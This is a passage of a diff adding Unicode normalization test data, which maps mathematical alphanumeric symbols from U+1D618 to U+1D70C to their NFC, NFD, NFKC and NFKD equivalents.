+{ source: [0x1D618], NFC: [0x1D618], NFD: [0x1D618], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D619], NFC: [0x1D619], NFD: [0x1D619], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D61A], NFC: [0x1D61A], NFD: [0x1D61A], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D61B], NFC: [0x1D61B], NFD: [0x1D61B], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D61C], NFC: [0x1D61C], NFD: [0x1D61C], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D61D], NFC: [0x1D61D], NFD: [0x1D61D], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D61E], NFC: [0x1D61E], NFD: [0x1D61E], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D61F], NFC: [0x1D61F], NFD: [0x1D61F], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D620], NFC: [0x1D620], NFD: [0x1D620], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D621], NFC: [0x1D621], NFD: [0x1D621], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D622], NFC: [0x1D622], NFD: [0x1D622], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D623], NFC: [0x1D623], NFD: [0x1D623], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D624], NFC: [0x1D624], NFD: [0x1D624], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D625], NFC: [0x1D625], NFD: [0x1D625], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D626], NFC: [0x1D626], NFD: [0x1D626], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D627], NFC: [0x1D627], NFD: [0x1D627], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D628], NFC: [0x1D628], NFD: [0x1D628], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D629], NFC: [0x1D629], NFD: [0x1D629], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D62A], NFC: [0x1D62A], NFD: [0x1D62A], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D62B], NFC: [0x1D62B], NFD: [0x1D62B], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D62C], NFC: [0x1D62C], NFD: [0x1D62C], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D62D], NFC: [0x1D62D], NFD: [0x1D62D], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D62E], NFC: [0x1D62E], NFD: [0x1D62E], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D62F], NFC: [0x1D62F], NFD: [0x1D62F], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D630], NFC: [0x1D630], NFD: [0x1D630], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D631], NFC: [0x1D631], NFD: [0x1D631], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D632], NFC: [0x1D632], NFD: [0x1D632], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D633], NFC: [0x1D633], NFD: [0x1D633], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D634], NFC: [0x1D634], NFD: [0x1D634], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D635], NFC: [0x1D635], NFD: [0x1D635], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D636], NFC: [0x1D636], NFD: [0x1D636], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D637], NFC: [0x1D637], NFD: [0x1D637], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D638], NFC: [0x1D638], NFD: [0x1D638], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D639], NFC: [0x1D639], NFD: [0x1D639], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D63A], NFC: [0x1D63A], NFD: [0x1D63A], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D63B], NFC: [0x1D63B], NFD: [0x1D63B], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D63C], NFC: [0x1D63C], NFD: [0x1D63C], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D63D], NFC: [0x1D63D], NFD: [0x1D63D], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D63E], NFC: [0x1D63E], NFD: [0x1D63E], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D63F], NFC: [0x1D63F], NFD: [0x1D63F], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D640], NFC: [0x1D640], NFD: [0x1D640], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D641], NFC: [0x1D641], NFD: [0x1D641], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D642], NFC: [0x1D642], NFD: [0x1D642], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D643], NFC: [0x1D643], NFD: [0x1D643], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D644], NFC: [0x1D644], NFD: [0x1D644], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D645], NFC: [0x1D645], NFD: [0x1D645], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D646], NFC: [0x1D646], NFD: [0x1D646], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D647], NFC: [0x1D647], NFD: [0x1D647], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D648], NFC: [0x1D648], NFD: [0x1D648], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D649], NFC: [0x1D649], NFD: [0x1D649], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D64A], NFC: [0x1D64A], NFD: [0x1D64A], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D64B], NFC: [0x1D64B], NFD: [0x1D64B], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D64C], NFC: [0x1D64C], NFD: [0x1D64C], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D64D], NFC: [0x1D64D], NFD: [0x1D64D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D64E], NFC: [0x1D64E], NFD: [0x1D64E], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D64F], NFC: [0x1D64F], NFD: [0x1D64F], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D650], NFC: [0x1D650], NFD: [0x1D650], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D651], NFC: [0x1D651], NFD: [0x1D651], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D652], NFC: [0x1D652], NFD: [0x1D652], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D653], NFC: [0x1D653], NFD: [0x1D653], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D654], NFC: [0x1D654], NFD: [0x1D654], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D655], NFC: [0x1D655], NFD: [0x1D655], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D656], NFC: [0x1D656], NFD: [0x1D656], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D657], NFC: [0x1D657], NFD: [0x1D657], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D658], NFC: [0x1D658], NFD: [0x1D658], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D659], NFC: [0x1D659], NFD: [0x1D659], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D65A], NFC: [0x1D65A], NFD: [0x1D65A], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D65B], NFC: [0x1D65B], NFD: [0x1D65B], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D65C], NFC: [0x1D65C], NFD: [0x1D65C], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D65D], NFC: [0x1D65D], NFD: [0x1D65D], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D65E], NFC: [0x1D65E], NFD: [0x1D65E], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D65F], NFC: [0x1D65F], NFD: [0x1D65F], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D660], NFC: [0x1D660], NFD: [0x1D660], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D661], NFC: [0x1D661], NFD: [0x1D661], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D662], NFC: [0x1D662], NFD: [0x1D662], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D663], NFC: [0x1D663], NFD: [0x1D663], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D664], NFC: [0x1D664], NFD: [0x1D664], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D665], NFC: [0x1D665], NFD: [0x1D665], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D666], NFC: [0x1D666], NFD: [0x1D666], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D667], NFC: [0x1D667], NFD: [0x1D667], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D668], NFC: [0x1D668], NFD: [0x1D668], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D669], NFC: [0x1D669], NFD: [0x1D669], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D66A], NFC: [0x1D66A], NFD: [0x1D66A], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D66B], NFC: [0x1D66B], NFD: [0x1D66B], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D66C], NFC: [0x1D66C], NFD: [0x1D66C], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D66D], NFC: [0x1D66D], NFD: [0x1D66D], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D66E], NFC: [0x1D66E], NFD: [0x1D66E], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D66F], NFC: [0x1D66F], NFD: [0x1D66F], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D670], NFC: [0x1D670], NFD: [0x1D670], NFKC: [0x0041], NFKD: [0x0041] },
+{ source: [0x1D671], NFC: [0x1D671], NFD: [0x1D671], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x1D672], NFC: [0x1D672], NFD: [0x1D672], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x1D673], NFC: [0x1D673], NFD: [0x1D673], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x1D674], NFC: [0x1D674], NFD: [0x1D674], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x1D675], NFC: [0x1D675], NFD: [0x1D675], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x1D676], NFC: [0x1D676], NFD: [0x1D676], NFKC: [0x0047], NFKD: [0x0047] },
+{ source: [0x1D677], NFC: [0x1D677], NFD: [0x1D677], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x1D678], NFC: [0x1D678], NFD: [0x1D678], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x1D679], NFC: [0x1D679], NFD: [0x1D679], NFKC: [0x004A], NFKD: [0x004A] },
+{ source: [0x1D67A], NFC: [0x1D67A], NFD: [0x1D67A], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x1D67B], NFC: [0x1D67B], NFD: [0x1D67B], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x1D67C], NFC: [0x1D67C], NFD: [0x1D67C], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x1D67D], NFC: [0x1D67D], NFD: [0x1D67D], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x1D67E], NFC: [0x1D67E], NFD: [0x1D67E], NFKC: [0x004F], NFKD: [0x004F] },
+{ source: [0x1D67F], NFC: [0x1D67F], NFD: [0x1D67F], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x1D680], NFC: [0x1D680], NFD: [0x1D680], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x1D681], NFC: [0x1D681], NFD: [0x1D681], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x1D682], NFC: [0x1D682], NFD: [0x1D682], NFKC: [0x0053], NFKD: [0x0053] },
+{ source: [0x1D683], NFC: [0x1D683], NFD: [0x1D683], NFKC: [0x0054], NFKD: [0x0054] },
+{ source: [0x1D684], NFC: [0x1D684], NFD: [0x1D684], NFKC: [0x0055], NFKD: [0x0055] },
+{ source: [0x1D685], NFC: [0x1D685], NFD: [0x1D685], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x1D686], NFC: [0x1D686], NFD: [0x1D686], NFKC: [0x0057], NFKD: [0x0057] },
+{ source: [0x1D687], NFC: [0x1D687], NFD: [0x1D687], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x1D688], NFC: [0x1D688], NFD: [0x1D688], NFKC: [0x0059], NFKD: [0x0059] },
+{ source: [0x1D689], NFC: [0x1D689], NFD: [0x1D689], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x1D68A], NFC: [0x1D68A], NFD: [0x1D68A], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x1D68B], NFC: [0x1D68B], NFD: [0x1D68B], NFKC: [0x0062], NFKD: [0x0062] },
+{ source: [0x1D68C], NFC: [0x1D68C], NFD: [0x1D68C], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x1D68D], NFC: [0x1D68D], NFD: [0x1D68D], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x1D68E], NFC: [0x1D68E], NFD: [0x1D68E], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x1D68F], NFC: [0x1D68F], NFD: [0x1D68F], NFKC: [0x0066], NFKD: [0x0066] },
+{ source: [0x1D690], NFC: [0x1D690], NFD: [0x1D690], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x1D691], NFC: [0x1D691], NFD: [0x1D691], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x1D692], NFC: [0x1D692], NFD: [0x1D692], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x1D693], NFC: [0x1D693], NFD: [0x1D693], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x1D694], NFC: [0x1D694], NFD: [0x1D694], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x1D695], NFC: [0x1D695], NFD: [0x1D695], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x1D696], NFC: [0x1D696], NFD: [0x1D696], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x1D697], NFC: [0x1D697], NFD: [0x1D697], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x1D698], NFC: [0x1D698], NFD: [0x1D698], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x1D699], NFC: [0x1D699], NFD: [0x1D699], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x1D69A], NFC: [0x1D69A], NFD: [0x1D69A], NFKC: [0x0071], NFKD: [0x0071] },
+{ source: [0x1D69B], NFC: [0x1D69B], NFD: [0x1D69B], NFKC: [0x0072], NFKD: [0x0072] },
+{ source: [0x1D69C], NFC: [0x1D69C], NFD: [0x1D69C], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x1D69D], NFC: [0x1D69D], NFD: [0x1D69D], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x1D69E], NFC: [0x1D69E], NFD: [0x1D69E], NFKC: [0x0075], NFKD: [0x0075] },
+{ source: [0x1D69F], NFC: [0x1D69F], NFD: [0x1D69F], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x1D6A0], NFC: [0x1D6A0], NFD: [0x1D6A0], NFKC: [0x0077], NFKD: [0x0077] },
+{ source: [0x1D6A1], NFC: [0x1D6A1], NFD: [0x1D6A1], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x1D6A2], NFC: [0x1D6A2], NFD: [0x1D6A2], NFKC: [0x0079], NFKD: [0x0079] },
+{ source: [0x1D6A3], NFC: [0x1D6A3], NFD: [0x1D6A3], NFKC: [0x007A], NFKD: [0x007A] },
+{ source: [0x1D6A4], NFC: [0x1D6A4], NFD: [0x1D6A4], NFKC: [0x0131], NFKD: [0x0131] },
+{ source: [0x1D6A5], NFC: [0x1D6A5], NFD: [0x1D6A5], NFKC: [0x0237], NFKD: [0x0237] },
+{ source: [0x1D6A8], NFC: [0x1D6A8], NFD: [0x1D6A8], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D6A9], NFC: [0x1D6A9], NFD: [0x1D6A9], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D6AA], NFC: [0x1D6AA], NFD: [0x1D6AA], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D6AB], NFC: [0x1D6AB], NFD: [0x1D6AB], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D6AC], NFC: [0x1D6AC], NFD: [0x1D6AC], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D6AD], NFC: [0x1D6AD], NFD: [0x1D6AD], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D6AE], NFC: [0x1D6AE], NFD: [0x1D6AE], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D6AF], NFC: [0x1D6AF], NFD: [0x1D6AF], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6B0], NFC: [0x1D6B0], NFD: [0x1D6B0], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D6B1], NFC: [0x1D6B1], NFD: [0x1D6B1], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D6B2], NFC: [0x1D6B2], NFD: [0x1D6B2], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D6B3], NFC: [0x1D6B3], NFD: [0x1D6B3], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D6B4], NFC: [0x1D6B4], NFD: [0x1D6B4], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D6B5], NFC: [0x1D6B5], NFD: [0x1D6B5], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D6B6], NFC: [0x1D6B6], NFD: [0x1D6B6], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D6B7], NFC: [0x1D6B7], NFD: [0x1D6B7], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D6B8], NFC: [0x1D6B8], NFD: [0x1D6B8], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D6B9], NFC: [0x1D6B9], NFD: [0x1D6B9], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6BA], NFC: [0x1D6BA], NFD: [0x1D6BA], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D6BB], NFC: [0x1D6BB], NFD: [0x1D6BB], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D6BC], NFC: [0x1D6BC], NFD: [0x1D6BC], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D6BD], NFC: [0x1D6BD], NFD: [0x1D6BD], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D6BE], NFC: [0x1D6BE], NFD: [0x1D6BE], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D6BF], NFC: [0x1D6BF], NFD: [0x1D6BF], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D6C0], NFC: [0x1D6C0], NFD: [0x1D6C0], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D6C1], NFC: [0x1D6C1], NFD: [0x1D6C1], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D6C2], NFC: [0x1D6C2], NFD: [0x1D6C2], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D6C3], NFC: [0x1D6C3], NFD: [0x1D6C3], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D6C4], NFC: [0x1D6C4], NFD: [0x1D6C4], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D6C5], NFC: [0x1D6C5], NFD: [0x1D6C5], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D6C6], NFC: [0x1D6C6], NFD: [0x1D6C6], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D6C7], NFC: [0x1D6C7], NFD: [0x1D6C7], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D6C8], NFC: [0x1D6C8], NFD: [0x1D6C8], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D6C9], NFC: [0x1D6C9], NFD: [0x1D6C9], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D6CA], NFC: [0x1D6CA], NFD: [0x1D6CA], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D6CB], NFC: [0x1D6CB], NFD: [0x1D6CB], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D6CC], NFC: [0x1D6CC], NFD: [0x1D6CC], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D6CD], NFC: [0x1D6CD], NFD: [0x1D6CD], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D6CE], NFC: [0x1D6CE], NFD: [0x1D6CE], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D6CF], NFC: [0x1D6CF], NFD: [0x1D6CF], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D6D0], NFC: [0x1D6D0], NFD: [0x1D6D0], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D6D1], NFC: [0x1D6D1], NFD: [0x1D6D1], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D6D2], NFC: [0x1D6D2], NFD: [0x1D6D2], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D6D3], NFC: [0x1D6D3], NFD: [0x1D6D3], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D6D4], NFC: [0x1D6D4], NFD: [0x1D6D4], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D6D5], NFC: [0x1D6D5], NFD: [0x1D6D5], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D6D6], NFC: [0x1D6D6], NFD: [0x1D6D6], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D6D7], NFC: [0x1D6D7], NFD: [0x1D6D7], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6D8], NFC: [0x1D6D8], NFD: [0x1D6D8], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D6D9], NFC: [0x1D6D9], NFD: [0x1D6D9], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D6DA], NFC: [0x1D6DA], NFD: [0x1D6DA], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D6DB], NFC: [0x1D6DB], NFD: [0x1D6DB], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D6DC], NFC: [0x1D6DC], NFD: [0x1D6DC], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D6DD], NFC: [0x1D6DD], NFD: [0x1D6DD], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D6DE], NFC: [0x1D6DE], NFD: [0x1D6DE], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D6DF], NFC: [0x1D6DF], NFD: [0x1D6DF], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D6E0], NFC: [0x1D6E0], NFD: [0x1D6E0], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D6E1], NFC: [0x1D6E1], NFD: [0x1D6E1], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D6E2], NFC: [0x1D6E2], NFD: [0x1D6E2], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D6E3], NFC: [0x1D6E3], NFD: [0x1D6E3], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D6E4], NFC: [0x1D6E4], NFD: [0x1D6E4], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D6E5], NFC: [0x1D6E5], NFD: [0x1D6E5], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D6E6], NFC: [0x1D6E6], NFD: [0x1D6E6], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D6E7], NFC: [0x1D6E7], NFD: [0x1D6E7], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D6E8], NFC: [0x1D6E8], NFD: [0x1D6E8], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D6E9], NFC: [0x1D6E9], NFD: [0x1D6E9], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6EA], NFC: [0x1D6EA], NFD: [0x1D6EA], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D6EB], NFC: [0x1D6EB], NFD: [0x1D6EB], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D6EC], NFC: [0x1D6EC], NFD: [0x1D6EC], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D6ED], NFC: [0x1D6ED], NFD: [0x1D6ED], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D6EE], NFC: [0x1D6EE], NFD: [0x1D6EE], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D6EF], NFC: [0x1D6EF], NFD: [0x1D6EF], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D6F0], NFC: [0x1D6F0], NFD: [0x1D6F0], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D6F1], NFC: [0x1D6F1], NFD: [0x1D6F1], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D6F2], NFC: [0x1D6F2], NFD: [0x1D6F2], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D6F3], NFC: [0x1D6F3], NFD: [0x1D6F3], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D6F4], NFC: [0x1D6F4], NFD: [0x1D6F4], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D6F5], NFC: [0x1D6F5], NFD: [0x1D6F5], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D6F6], NFC: [0x1D6F6], NFD: [0x1D6F6], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D6F7], NFC: [0x1D6F7], NFD: [0x1D6F7], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D6F8], NFC: [0x1D6F8], NFD: [0x1D6F8], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D6F9], NFC: [0x1D6F9], NFD: [0x1D6F9], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D6FA], NFC: [0x1D6FA], NFD: [0x1D6FA], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D6FB], NFC: [0x1D6FB], NFD: [0x1D6FB], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D6FC], NFC: [0x1D6FC], NFD: [0x1D6FC], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D6FD], NFC: [0x1D6FD], NFD: [0x1D6FD], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D6FE], NFC: [0x1D6FE], NFD: [0x1D6FE], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D6FF], NFC: [0x1D6FF], NFD: [0x1D6FF], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D700], NFC: [0x1D700], NFD: [0x1D700], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D701], NFC: [0x1D701], NFD: [0x1D701], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D702], NFC: [0x1D702], NFD: [0x1D702], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D703], NFC: [0x1D703], NFD: [0x1D703], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D704], NFC: [0x1D704], NFD: [0x1D704], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D705], NFC: [0x1D705], NFD: [0x1D705], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D706], NFC: [0x1D706], NFD: [0x1D706], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D707], NFC: [0x1D707], NFD: [0x1D707], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D708], NFC: [0x1D708], NFD: [0x1D708], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D709], NFC: [0x1D709], NFD: [0x1D709], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D70A], NFC: [0x1D70A], NFD: [0x1D70A], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D70B], NFC: [0x1D70B], NFD: [0x1D70B], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D70C], NFC: [0x1D70C], NFD: [0x1D70C], NFKC: [0x03C1], NFKD: [0x03C1] },
